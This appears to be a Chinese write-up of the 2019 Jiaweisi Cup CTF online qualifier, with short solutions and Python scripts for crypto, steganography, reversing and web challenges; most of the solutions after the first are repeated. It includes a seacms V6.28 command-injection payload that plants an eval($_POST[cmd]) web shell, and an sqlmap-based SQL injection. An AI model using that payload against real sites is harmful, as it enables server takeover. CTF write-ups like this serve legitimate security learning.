2019嘉韋思杯線上初賽writeup
阿新 • • 發佈:2019-03-31
pri 海洋 lin amp req 地方 find 其中 nbsp
3 死亡真相
wav音屏文件,用audacity打開,先是頻譜圖,發現有先是flag:。。。。,後面的字符串是32位,但是其中有三個下劃線,猜測是挖掉了三個數字的md5,於是取中間16位,形成16位的md5,這樣子就只含有兩個下劃線,16*16=256中可能。在網上在線批量解密,發現兩個下劃線都替換成0的時候就可以解開,用flag{}包裝下提交
4 日軍空襲
不停地base64解碼,最後得到flag{fB__l621a4h4g_ai%7B%26i%7D},url解碼得fB__l621a4h4g_ai{&i},然後解移位密碼,位移為4,得flag
6 戴星炳
用python,獲得網頁,正則提取然後eval算出來,再請求,獲得falg
import requests
import re
r = requests.get(‘http://47.103.43.235:82/web/a/index.php‘)
a = re.findall(r‘<p>(0x.*)</p>‘,r.text)[0]
a = eval(a)
print(a)
rr = requests.post(‘http://47.103.43.235:82/web/a/index.php‘,data={‘result‘:str(a)})
print(rr.text)
7 大美晚報
二維碼,下載下來,顯示用binwalk發現裏面有壓縮包,用foremost得到裏面的壓縮包,記事本打開發現有句話說密碼是qq號,所以用zipperello窮舉數字8-10位組合,得到密碼674290437,解壓zip得到falg
8 潘漢年
bg[`sZ*Zg‘dPfP`VM_SXVd
觀察前面五個字符和flag{這五個字符ascii碼的差,發現這個差是遞增的,根據這個規律就可以解密啦
s = "bg[`sZ*Zg‘dPfP`VM_SXVd"
r = ‘‘
for i in range(len(s)):
r = r+chr(ord(s[i])+4+i)
print(r)
9 袁殊
rsa加密,根據public key ,用openssl獲得n和e,由於n不大,在http://factordb.com/分解得到pq,然後就可以直接解密啦
n16 = ‘A9BD4C7A7763370A042FE6BEC7DDC841602DB942C7A362D1B5D372A4D08912D9‘
p = 273821108020968288372911424519201044333
q = 280385007186315115828483000867559983517
#273821108020968288372911424519201044333<39> · 280385007186315115828483000867559983517<39>
n = int(n16,16)
e = 65537
import gmpy2
import rsa
d = int(gmpy2.invert(e , (p-1) * (q-1)))
privatekey = rsa.PrivateKey(n , e , d , p , q) #根據已知參數,計算私鑰
with open("fllllllag.txt" , "rb") as f:
print(rsa.decrypt(f.read(), privatekey).decode()) #使用私鑰對密文進行解密,並打印
11 晴氣慶胤
根據html中的提示,是要輸入兩個不同的字符串但是有相同md5
使用fastcoll生成兩個具有相同md5的文件,再利用python post過去就可以獲得falg了
import requests
url = ‘http://47.103.43.235:85/a/‘
with open(‘msg1.bin‘,‘rb‘) as f:
data1 = f.read()
with open(‘msg2.bin‘,‘rb‘) as f:
data2 = f.read()
d = {‘param1‘:data1,‘param2‘:data2}
r = requests.post(url,data = d)
print(r.text)
12 梅津美治郎
逆向
有兩個密碼,windbg動態調試即可,給scanf下斷點
第一層的密碼在調用strcmp的地方直接就可以找到
第二層的密碼是顯示內存中有一個字符串,將這個字符串的每個字符和2進行異或得到的就是第二層密碼
14 作戰計劃
seacms,利用海洋CMS V6.28 命令執行 0DAY,直接菜刀/search.php?searchtype=5&tid=&area=eval($_POST[cmd])就可以看到有個flag文件,打開就是flag
1 土肥原賢二
看到頁面懷疑是sql註入,寫了個4‘進去就發生報錯。
could not to the database You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘‘4‘‘‘ at line 1
直接丟到sqlmap裏
id,flag
20_welcome_19,20_welcome_19
1,1
從而得到flag
2 吳佩孚
先是有點蒙,試了下base64,發現得到(![]+[])[+[]]+(![]+[])[!+[],看起來是jsfuck,丟到瀏覽器console中得到flag
3 死亡真相
wav音屏文件,用audacity打開,先是頻譜圖,發現有先是flag:。。。。,後面的字符串是32位,但是其中有三個下劃線,猜測是挖掉了三個數字的md5,於是取中間16位,形成16位的md5,這樣子就只含有兩個下劃線,16*16=256中可能。在網上在線批量解密,發現兩個下劃線都替換成0的時候就可以解開,用flag{}包裝下提交
4 日軍空襲
不停地base64解碼,最後得到flag{fB__l621a4h4g_ai%7B%26i%7D},url解碼得fB__l621a4h4g_ai{&i},然後解移位密碼,位移為4,得flag
6 戴星炳
用python,獲得網頁,正則提取然後eval算出來,再請求,獲得falg
import re
r = requests.get(‘http://47.103.43.235:82/web/a/index.php‘)
a = re.findall(r‘<p>(0x.*)</p>‘,r.text)[0]
a = eval(a)
print(a)
rr = requests.post(‘http://47.103.43.235:82/web/a/index.php‘,data={‘result‘:str(a)})
print(rr.text)
7 大美晚報
二維碼,下載下來,顯示用binwalk發現裏面有壓縮包,用foremost得到裏面的壓縮包,記事本打開發現有句話說密碼是qq號,所以用zipperello窮舉數字8-10位組合,得到密碼674290437,解壓zip得到falg
8 潘漢年
bg[`sZ*Zg‘dPfP`VM_SXVd
觀察前面五個字符和flag{這五個字符ascii碼的差,發現這個差是遞增的,根據這個規律就可以解密啦
s = "bg[`sZ*Zg‘dPfP`VM_SXVd"
r = ‘‘
for i in range(len(s)):
r = r+chr(ord(s[i])+4+i)
print(r)
9 袁殊
rsa加密,根據public key ,用openssl獲得n和e,由於n不大,在http://factordb.com/分解得到pq,然後就可以直接解密啦
n16 = ‘A9BD4C7A7763370A042FE6BEC7DDC841602DB942C7A362D1B5D372A4D08912D9‘
p = 273821108020968288372911424519201044333
q = 280385007186315115828483000867559983517
#273821108020968288372911424519201044333<39> · 280385007186315115828483000867559983517<39>
n = int(n16,16)
e = 65537
import gmpy2
import rsa
d = int(gmpy2.invert(e , (p-1) * (q-1)))
privatekey = rsa.PrivateKey(n , e , d , p , q) #根據已知參數,計算私鑰
with open("fllllllag.txt" , "rb") as f:
print(rsa.decrypt(f.read(), privatekey).decode()) #使用私鑰對密文進行解密,並打印
11 晴氣慶胤
根據html中的提示,是要輸入兩個不同的字符串但是有相同md5
使用fastcoll生成兩個具有相同md5的文件,再利用python post過去就可以獲得falg了
import requests
url = ‘http://47.103.43.235:85/a/‘
with open(‘msg1.bin‘,‘rb‘) as f:
data1 = f.read()
with open(‘msg2.bin‘,‘rb‘) as f:
data2 = f.read()
d = {‘param1‘:data1,‘param2‘:data2}
r = requests.post(url,data = d)
print(r.text)
12 梅津美治郎
逆向
有兩個密碼,windbg動態調試即可,給scanf下斷點
第一層的密碼在調用strcmp的地方直接就可以找到
第二層的密碼是顯示內存中有一個字符串,將這個字符串的每個字符和2進行異或得到的就是第二層密碼
14 作戰計劃
seacms,利用海洋CMS V6.28 命令執行 0DAY,直接菜刀/search.php?searchtype=5&tid=&area=eval($_POST[cmd])就可以看到有個flag文件,打開就是flag
2019嘉韋思杯線上初賽writeup